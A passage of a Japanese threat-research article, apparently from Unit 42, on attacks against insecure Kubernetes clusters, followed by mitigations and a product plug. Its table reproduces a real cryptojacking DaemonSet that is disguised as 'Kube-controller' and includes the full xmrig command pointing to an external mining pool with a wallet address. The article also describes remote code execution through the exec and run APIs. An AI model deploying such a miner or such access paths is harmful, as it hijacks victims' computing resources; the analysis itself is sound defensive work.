0cKube-controller\u300d\u3068\u540d\u4ed8\u3051\u3001kube-system\u306e\u540d\u524d\u7a7a\u9593\u306b\u30c7\u30d7\u30ed\u30a4\u3057\u3066\u3044\u307e\u3057\u305f\u3002kube-system\u306e\u540d\u524d\u7a7a\u9593\u306f\u3075\u3064\u3046\u306fKubernetes\u30b7\u30b9\u30c6\u30e0\u304c\u4f5c\u6210\u3057\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u305f\u3081\u306b\u3060\u3051\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u540d\u524d\u304c\u96e3\u8aad\u5316\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304b\u3089\u3001\u7ba1\u7406\u8005\u304c\u5b9f\u884c\u4e2d\u306e\u30dd\u30c3\u30c9\u3084\u30c7\u30fc\u30e2\u30f3\u3092\u78ba\u8a8d\u3057\u3066\u3082\u3001\u3053\u306e\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30ca\u306f\u305f\u3084\u3059\u304f\u898b\u843d\u3068\u3055\u308c\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<table style=\"width: 101.115%;\">\n<tbody>\n<tr>\n<td style=\"width: 20.9545%;\"><strong>\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8<\/strong><\/td>\n<td style=\"width: 101.563%;\"><a href=\"https:\/\/hub.docker.com\/r\/dorjik\/xmrig\/dockerfile\">dorjik\/xmrig<\/a><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9545%;\"><strong>\u30c7\u30d7\u30ed\u30a4\u306e\u30bf\u30a4\u30d7<\/strong><\/td>\n<td style=\"width: 101.563%;\">DaemonSet<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9545%;\"><strong>\u540d\u524d<\/strong><\/td>\n<td style=\"width: 101.563%;\">Kube-controller<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9545%;\"><strong>\u60aa\u610f\u306e\u3042\u308b\u30b3\u30de\u30f3\u30c9<\/strong><\/td>\n<td style=\"width: 101.563%;\">sh -c \/xmrig\/xmrig --donate-level 0 -o ca.minexmr.com:443 -u<\/p>\n<p>41pdpXWNMe6NvuDASWXn6ZMdPk4N6amucCHHstNcw2y8caJNdgN4kNeW3QFfc3amCiJ9x6dh8pLboR6minjYZpgk1szkeGg -k --tls &gt;\/dev\/null 2&gt;\/dev\/null<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9545%;\"><strong>\u540d\u524d\u7a7a\u9593<\/strong><\/td>\n<td style=\"width: 101.563%;\">kube-system<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9545%;\"><strong>\u30a2\u30ce\u30c6\u30fc\u30b7\u30e7\u30f3<\/strong><\/td>\n<td style=\"width: 101.563%;\">kubernetes.io\/psp: eks.privileged<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 12pt;\"><sup><span style=\"color: #999999;\"><em>\u88682 \u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u3092\u884c\u3046\u30b3\u30f3\u30c6\u30ca\u306e\u69cb\u6210<\/em><\/span><\/sup><\/span><\/p>\n<h4>\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30ca\u3067\u60aa\u610f\u306e\u3042\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u8d77\u52d5\u3059\u308b<\/h4>\n<p>\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044API\u30b5\u30fc\u30d0\u30fc\u3084kubelet\u3092\u4ecb\u3057\u3001\u5b9f\u884c\u4e2d\u306e\u30b3\u30f3\u30c6\u30ca\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\uff08RCE\uff09\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002API\u30b5\u30fc\u30d0\u30fc\u306e<a href=\"https:\/\/kubernetes.io\/docs\/reference\/generated\/kubernetes-api\/v1.19\/#execaction-v1-core\">exec<\/a> API\u3084kubelet\u306e<a href=\"https:\/\/github.com\/kubernetes\/kubernetes\/blob\/14344b57e56258e87cbe80c8cd80399855eca424\/pkg\/kubelet\/server\/server.go#L358\">run<\/a> API\u3092\u4f7f\u7528\u3059\u308c\u3070\u3001\u653b\u6483\u8005\u306f\u30b3\u30f3\u30c6\u30ca\u5185\u3067\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30ca\u3067\u60aa\u610f\u306e\u3042\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u8d77\u52d5\u3059\u308c\u3070\u3001\u65b0\u3057\u3044\u30a4\u30e1\u30fc\u30b8\u3092\u30d7\u30eb\u3057\u305f\u308a\u65b0\u3057\u3044\u30b3\u30f3\u30c6\u30ca\u3092\u5b9f\u884c\u3057\u305f\u308a\u3059\u308b\u5fc5\u8981\u3042\u308a\u307e\u305b\u3093\u3002\u3053\u308c\u306b\u3088\u308a\u30b9\u30c6\u30eb\u30b9\u6027\u3092\u9ad8\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u30b3\u30f3\u30c6\u30ca\u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30ca\u3084\u9759\u7684\u5206\u6790\u30c4\u30fc\u30eb\u3067\u306f\u3053\u306e\u30bf\u30a4\u30d7\u306e\u653b\u6483\u3092\u691c\u51fa\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<p>Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u6700\u8fd1\u306e\u7814\u7a76\u3067<a href=\"https:\/\/unit42.paloaltonetworks.jp\/hildegard-malware-teamtnt\/\">Hildegard<\/a>\u3068\u547c\u3070\u308c\u308b\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u7528\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3064\u3044\u3066\u6587\u66f8\u5316\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u8aa4\u3063\u3066\u8a2d\u5b9a\u3055\u308c\u305fKubernetes\u30af\u30e9\u30b9\u30bf\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u306f\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306b\u5411\u3051\u3089\u308c\u3066\u3044\u308b\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044kubelet\u3092\u4ecb\u3057\u3066\u6700\u521d\u306e\u30b3\u30f3\u30c6\u30ca\u3092\u4fb5\u5bb3\u3057\u3001\u7d9a\u3044\u3066\u30af\u30e9\u30b9\u30bf\u5185\u306e\u4ed6\u306e\u30ce\u30fc\u30c9\u306b\u6a2a\u5c55\u958b\u3057\u3066\u8907\u6570\u306e\u30b3\u30f3\u30c6\u30ca\u3092\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3057\u307e\u3057\u305f\u3002\u4fb5\u5bb3\u3055\u308c\u305f\u5404\u30b3\u30f3\u30c6\u30ca\u3067\u306f\u30de\u30eb\u30a6\u30a7\u30a2\u304cC2\u30b5\u30fc\u30d0\u30fc\u306b\u623b\u308bIRC\u30c1\u30e3\u30cd\u30eb\u3092\u78ba\u7acb\u3057\u3088\u3046\u3068\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30cb\u30f3\u30b0\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3092\u958b\u59cb\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u305f\u3060\u3057\u3001\u5b9f\u884c\u4e2d\u306e\u30b3\u30f3\u30c6\u30ca\u306b\u30a4\u30f3\u30b8\u30a7\u30af\u30c8\u3055\u308c\u305f\u60aa\u610f\u306e\u3042\u308b\u30de\u30a4\u30cb\u30f3\u30b0\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u5bff\u547d\u306f\u77ed\u3044\u50be\u5411\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u30b3\u30f3\u30c6\u30ca\u304c\u983b\u7e41\u306b\u518d\u8d77\u52d5\u30fb\u518d\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u3046\u308b\u305f\u3081\u3067\u3059\u3002\u60aa\u610f\u306e\u3042\u308b\u30de\u30a4\u30ca\u30fc\u306f\u3001\u30db\u30b9\u30c8\u30b3\u30f3\u30c6\u30ca\u306e\u518d\u8d77\u52d5\u5f8c\u306b\u3082\u5e38\u99d0\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<h2>\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u306b\u5bfe\u3059\u308b\u6f5c\u5728\u7684\u306a\u653b\u6483<\/h2>\n<p>\u524d\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u306f\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306e\u8abf\u67fb\u7d50\u679c\u3092\u793a\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u306f\u3053\u3046\u3057\u305f\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044\u74b0\u5883\u3067\u767a\u751f\u3057\u3046\u308b\u6f5c\u5728\u7684\u306a\u653b\u6483\u306b\u3064\u3044\u3066\u3001\u3044\u304f\u3064\u304b\u53d6\u308a\u4e0a\u3052\u307e\u3059\u3002\u307e\u305a\u306f\u3001\u8003\u3048\u3089\u308c\u308b\u5404\u653b\u6483\u306e\u521d\u671f\u30a2\u30af\u30bb\u30b9\u306b\u3064\u3044\u3066\u5b9a\u7fa9\u3057\u3001\u653b\u6483\u8005\u304c\u521d\u671f\u30a2\u30af\u30bb\u30b9\u3092\u60aa\u7528\u3059\u308b\u65b9\u6cd5\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li><strong>\u904e\u5ea6\u306b\u5bdb\u5bb9\u306a\u6a5f\u80fd\u8a2d\u5b9a<\/strong>: \u5404\u30b3\u30f3\u30c6\u30ca\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8981\u4ef6\u306b\u5fdc\u3058\u3001\u7279\u5b9a\u306e<a href=\"https:\/\/man7.org\/linux\/man-pages\/man7\/capabilities.7.html\">\u6a5f\u80fd<\/a>\u306e\u30b5\u30d6\u30bb\u30c3\u30c8\u3092\u8a31\u53ef\u3055\u308c\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u7279\u6a29\u30dd\u30fc\u30c8\uff081024\u672a\u6e80\u306e\u30dd\u30fc\u30c8\u756a\u53f7\uff09\u306b\u30d0\u30a4\u30f3\u30c9\u3057\u305f\u3051\u308c\u3070\u3001<span style=\"font-family: 'courier new', courier, monospace;\">cap_net_bind_service<\/span>\u6a5f\u80fd\u3092\u8a31\u53ef\u3057\u3066\u3082\u3089\u3046\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u307b\u304b\u306b\u3082\u3001\u305d\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304cICMP\u30d1\u30b1\u30c3\u30c8\u3092\u9001\u4fe1\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u306a\u3089<span style=\"font-family: 'courier new', courier, monospace;\">cap_net_raw<\/span>\u6a5f\u80fd\u304c\u5fc5\u8981\u3067\u3059\u3002\u307e\u305f<span style=\"font-family: 'courier new', courier, monospace;\">cap_sys_module<\/span>\u3084<span style=\"font-family: 'courier new', courier, monospace;\">cap_sys_admin<\/span>\u306a\u3069\u306e\u6a5f\u80fd\u306f\u3001\u9ad8\u3044\u7279\u6a29\u3092\u6301\u3064\u30a2\u30af\u30bb\u30b9\u8a31\u53ef\u3092\u4ed8\u4e0e\u3057\u3001\u30b3\u30f3\u30c6\u30ca\u304c\u30db\u30b9\u30c8\u306e\u30ab\u30fc\u30cd\u30eb\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u6a5f\u80fd\u3092\u5099\u3048\u305f\u30b3\u30f3\u30c6\u30ca\u304c\u4fb5\u5bb3\u3055\u308c\u308b\u3068\u3001\u653b\u6483\u8005\u306f\u30db\u30b9\u30c8\u306b\u305f\u3084\u3059\u304f\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li><strong>\u5171\u6709\u3055\u308c\u305f\u540d\u524d\u7a7a\u9593<\/strong>: \u30d7\u30ed\u30bb\u30b9\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306a\u3069\u3001\u30b3\u30f3\u30c6\u30ca\u306e\u5168\u30ea\u30bd\u30fc\u30b9\u306f\u5206\u96e2\u3055\u308c\u305f\u540d\u524d\u7a7a\u9593\u306b\u914d\u7f6e\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u305f\u3081\u3001\u30b3\u30f3\u30c6\u30ca\u5316\u3055\u308c\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u30b5\u30f3\u30c9\u30dc\u30c3\u30af\u30b9\u74b0\u5883\u3067\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002\u305f\u3060\u3057\u3001\u30b3\u30f3\u30c6\u30ca\u304c\u540d\u524d\u7a7a\u9593\u3092\u4ed6\u306e\u30b3\u30f3\u30c6\u30ca\u3084\u30db\u30b9\u30c8\u3068\u5171\u6709\u3057\u305f\u3044\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u30b3\u30f3\u30c6\u30ca\u304c\u30db\u30b9\u30c8\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u30ad\u30e3\u30d7\u30c1\u30e3\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u5834\u5408\u306a\u3069\u304c\u305d\u3046\u3067\u3059\u3002\u3053\u306e\u5834\u5408\u3001\u30b3\u30f3\u30c6\u30ca\u3092\u30db\u30b9\u30c8\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u540d\u524d\u7a7a\u9593\u3067\u5b9f\u884c\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\u3057\u304b\u3057\u306a\u304c\u3089\u5171\u6709\u3055\u308c\u305f\u540d\u524d\u7a7a\u9593\u306f\u653b\u6483\u8005\u306b\u305f\u3044\u3057\u3066\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30db\u30b9\u30c8\u306b\u5c55\u958b\u3059\u308b\u305f\u3081\u306e\u30c1\u30e3\u30cd\u30eb\u3092\u958b\u3044\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/li>\n<li><strong>\u30d1\u30c3\u30c1\u672a\u9069\u7528\u306e\u8106\u5f31\u6027<\/strong>: \u30d1\u30c3\u30c1\u672a\u9069\u7528\u306e\u30b3\u30f3\u30c6\u30ca\u30e9\u30f3\u30bf\u30a4\u30e0\u3084\u30ce\u30fc\u30c9OS\u306f\u30b3\u30f3\u30c6\u30ca\u30d6\u30ec\u30a4\u30af\u30a2\u30a6\u30c8\u306e\u30ea\u30b9\u30af\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002\u30b3\u30f3\u30c6\u30ca\u5316\u3055\u308c\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3084\u7ba1\u7406\u3092\u884c\u3063\u3066\u3044\u308b\u306e\u306f\u30b3\u30f3\u30c6\u30ca\u30e9\u30f3\u30bf\u30a4\u30e0\u3067\u3059\u304c\u3001\u3053\u306e\u30b3\u30f3\u30c6\u30ca\u30e9\u30f3\u30bf\u30a4\u30e0\u306b\u8106\u5f31\u6027\uff08\u305f\u3068\u3048\u3070<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2019-5736\">CVE-2019-5736<\/a>\uff09\u304c\u3042\u308c\u3070\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u30b3\u30f3\u30c6\u30ca\u30d6\u30ec\u30a4\u30af\u30a2\u30a6\u30c8\u3092\u8a31\u3057\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u30b3\u30f3\u30c6\u30ca\u306f\u30db\u30b9\u30c8\u306eOS\u30ab\u30fc\u30cd\u30eb\u3092\u5171\u6709\u3057\u3066\u3044\u308b\u306e\u3067\u3001\u30ab\u30fc\u30cd\u30eb\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u5927\u534a\u304c\u7279\u6a29\u6607\u683c\u306b\u3064\u306a\u304c\u308a\u3001\u30b3\u30f3\u30c6\u30ca\u30d6\u30ec\u30a4\u30af\u30a2\u30a6\u30c8\u3092\u8a31\u3057\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<li><strong>\u7a83\u53d6\u3055\u308c\u305f\u30b5\u30fc\u30d3\u30b9\u30a2\u30ab\u30a6\u30f3\u30c8\u30c8\u30fc\u30af\u30f3<\/strong>: \u30b5\u30fc\u30d3\u30b9\u30a2\u30ab\u30a6\u30f3\u30c8\u30c8\u30fc\u30af\u30f3\u306f\u30b3\u30f3\u30c6\u30ca\u4e0a\u306b\u5b58\u5728\u3057\u3001\u3053\u306e\u30c8\u30fc\u30af\u30f3\u3092\u4f7f\u3063\u3066\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306fAPI\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u8a8d\u8a3c\u3092\u884c\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u304c\u76d7\u307e\u308c\u308b\u3068\u3001\u653b\u6483\u8005\u304c\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u306a\u308a\u3059\u307e\u3057\u3001API\u30b5\u30fc\u30d0\u30fc\u3092\u5229\u7528\u3057\u3066\u6a2a\u65b9\u5411\u30fb\u7e26\u65b9\u5411\u306b\u5c55\u958b\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<li><strong>\u7a83\u53d6\u3055\u308c\u305f\u30af\u30e9\u30a6\u30c9\u30a2\u30ab\u30a6\u30f3\u30c8\u8a8d\u8a3c\u60c5\u5831<\/strong>: Hildegard\u306e\u8abf\u67fb\u3067\u3082\u8aac\u660e\u3057\u305f\u3088\u3046\u306b\u3001\u653b\u6483\u8005\u306f\u4fb5\u5bb3\u3057\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3084\u30b3\u30f3\u30c6\u30ca\u7d4c\u7531\u3067\u30af\u30e9\u30a6\u30c9\u306e\u8a8d\u8a3c\u60c5\u5831\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u30af\u30e9\u30a6\u30c9\u306e\u8a8d\u8a3c\u60c5\u5831\u304c\u3042\u308c\u3070\u3001\u653b\u6483\u8005\u306fKubernetes\u30af\u30e9\u30b9\u30bf\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308b\u30af\u30e9\u30a6\u30c9\u74b0\u5883\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u4fb5\u5bb3\u306f\u3055\u3089\u306b\u60aa\u5316\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<h2>\u4fdd\u8b77\u3068\u7de9\u548c\u7b56<\/h2>\n<p>\u4e0a\u8a18\u306e\u3059\u3079\u3066\u306e\u554f\u984c\u306f\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u53b3\u683c\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<ul>\n<li><strong>\u30d1\u30c3\u30c1\u3092\u983b\u7e41\u306b\u9069\u7528\u3059\u308b<\/strong>\n<ul>\n<li>\u521d\u671f\u30a2\u30af\u30bb\u30b9\u3084\u7279\u6a29\u6607\u683c\u306b\u65e2\u77e5\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3084\u30b3\u30f3\u30c6\u30ca\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306f\u5b9a\u671f\u7684\u306b\u30b9\u30ad\u30e3\u30f3\u3057\u3001\u983b\u7e41\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3059\u3079\u304d\u3067\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u4fdd\u8b77\u3059\u308b<\/strong>\n<ul>\n<li>API\u30b5\u30fc\u30d0\u30fc\u3084kubelet\u3001etcd\u306a\u3069\u306eKubernetes\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3092\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306b\u516c\u958b\u3057\u306a\u3044\u3067\u304f\u3060\u3055\u3044\u3002\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u30eb\u30fc\u30eb\u3067\u3001\u3053\u308c\u3089\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3078\u306e\u901a\u4fe1\u8a31\u53ef\u3092\u5c11\u6570\u306eIP\u30a2\u30c9\u30ec\u30b9\u30b5\u30d6\u30bb\u30c3\u30c8\u306e\u307f\u306b\u9650\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<li>\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u3059\u3079\u3066\u306eKubernetes\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u76f8\u4e92TLS\uff08mTLS\uff09\u8a8d\u8a3c\u3092\u9069\u7528\u3057\u307e\u3059\u3002<\/li>\n<li>\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u3092\u9069\u7528\u3057\u3066\u3001\u30dd\u30c3\u30c9\u304c\u901a\u4fe1\u3067\u304d\u308b\u30dd\u30c3\u30c9\u3001\u540d\u524d\u7a7a\u9593\u3001IP\u30a2\u30c9\u30ec\u30b9\u7bc4\u56f2\u3092\u5236\u9650\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>ID\u3092\u4fdd\u8b77\u3059\u308b<\/strong>\n<ul>\n<li>\u30ed\u30fc\u30eb\u30d9\u30fc\u30b9\u306e\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\uff08RBAC\uff09\u3092\u30a8\u30f3\u30d5\u30a9\u30fc\u30b9\u3057\u3001\u6700\u5c0f\u7279\u6a29\u306e\u539f\u5247\u3092\u5b9f\u8df5\u3057\u307e\u3059\u3002\u3069\u306e\u30ed\u30fc\u30eb\u306b\u3064\u3044\u3066\u3082\u3001\u3069\u3046\u3057\u3066\u3082\u5fc5\u8981\u306a\u6a29\u9650\u306e\u307f\u3092\u4ed8\u4e0e\u3059\u308b\u3088\u3046\u306b\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n<li>\u5404\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306f\u533f\u540d\u3084\u672a\u8a8d\u8a3c\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u53d7\u3051\u5165\u308c\u3084\u5fdc\u7b54\u3092\u884c\u308f\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/li>\n<li>\u8a8d\u8a3c\u60c5\u5831\u3068\u8a3c\u660e\u66f8\u306f\u5b9a\u671f\u7684\u306b\u30ed\u30fc\u30c6\u30fc\u30b7\u30e7\u30f3\u3057\u3001\u6f5c\u5728\u7684\u306a\u8a8d\u8a3c\u60c5\u5831\u6f0f\u3048\u3044\u30ea\u30b9\u30af\u3092\u7de9\u548c\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>\u7d50\u8ad6<\/h2>\n<p>Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f2020\u5e7410\u6708\u304b\u30892021\u5e742\u6708\u306e\u9593\u306b\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u304b\u3089\u5927\u91cf\u306e\u6a5f\u5fae\u30c7\u30fc\u30bf\u304c\u6f0f\u3048\u3044\u3057\u305f\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u6f0f\u3048\u3044\u3057\u305f\u30c7\u30fc\u30bf\u306b\u306f\u3001API\u30c8\u30fc\u30af\u30f3\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u8a8d\u8a3c\u60c5\u5831\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3001\u500b\u4eba\u60c5\u5831\uff08PII\uff09\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u5927\u898f\u6a21\u306a\u653b\u6483\u3084\u9ad8\u5ea6\u306a\u653b\u6483\u3053\u305d\u898b\u3089\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u304c\u3001\u904e\u53bb5\u304b\u6708\u9593\u3001\u65e5\u548c\u898b\u653b\u6483\u306e\u5897\u52a0\u50be\u5411\u306f\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30b3\u30f3\u30c6\u30ca\u30c6\u30af\u30ce\u30ed\u30b8\u63a1\u7528\u306e\u6025\u901f\u306a\u5e83\u307e\u308a\u3084Kubernetes\u30af\u30e9\u30b9\u30bf\u306e\u3082\u3064\u8c4a\u5bcc\u306a\u8a08\u7b97\u30ea\u30bd\u30fc\u30b9\u3092\u53d7\u3051\u3001\u3053\u306e\u672a\u958b\u62d3\u5730\u306b\u306f\u4eca\u5f8c\u307e\u3059\u307e\u3059\u591a\u304f\u306e\u653b\u6483\u8005\u306e\u76ee\u304c\u5411\u3051\u3089\u308c\u308b\u3088\u3046\u306b\u306a\u308b\u3053\u3068\u3067\u3057\u3087\u3046\u3002\u305f\u3060\u3057\u305d\u3046\u3057\u305f\u65e5\u548c\u898b\u653b\u6483\u3082\u305d\u306e\u307b\u3068\u3093\u3069\u304c\u30b7\u30f3\u30d7\u30eb\u306a\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u3068\u76e3\u8996\u3092\u7d9a\u3051\u308b\u3053\u3068\u3067\u52b9\u679c\u7684\u306b\u691c\u51fa\u30fb\u9632\u6b62\u3067\u304d\u307e\u3059\u3002\u305d\u306e\u3055\u3044\u306fKubernetes\u30c6\u30af\u30ce\u30ed\u30b8\u306e\u8907\u96d1\u3067\u52d5\u7684\u306a\u6027\u8cea\u3092\u8003\u616e\u3057\u3001\u305f\u3068\u3048\u3070Prisma Cloud\u306a\u3069\u306e\u30af\u30e9\u30a6\u30c9\u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u4fdd\u8b77\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u4f7f\u3063\u3066\u30af\u30e9\u30b9\u30bf\u3092\u76e3\u8996\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u3054\u5229\u7528\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/prisma\/cloud\">Prisma Cloud<\/a>\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77\u3001Cryptominer Detection\u3001Prisma Cloud Compute Kubernetes Compliance 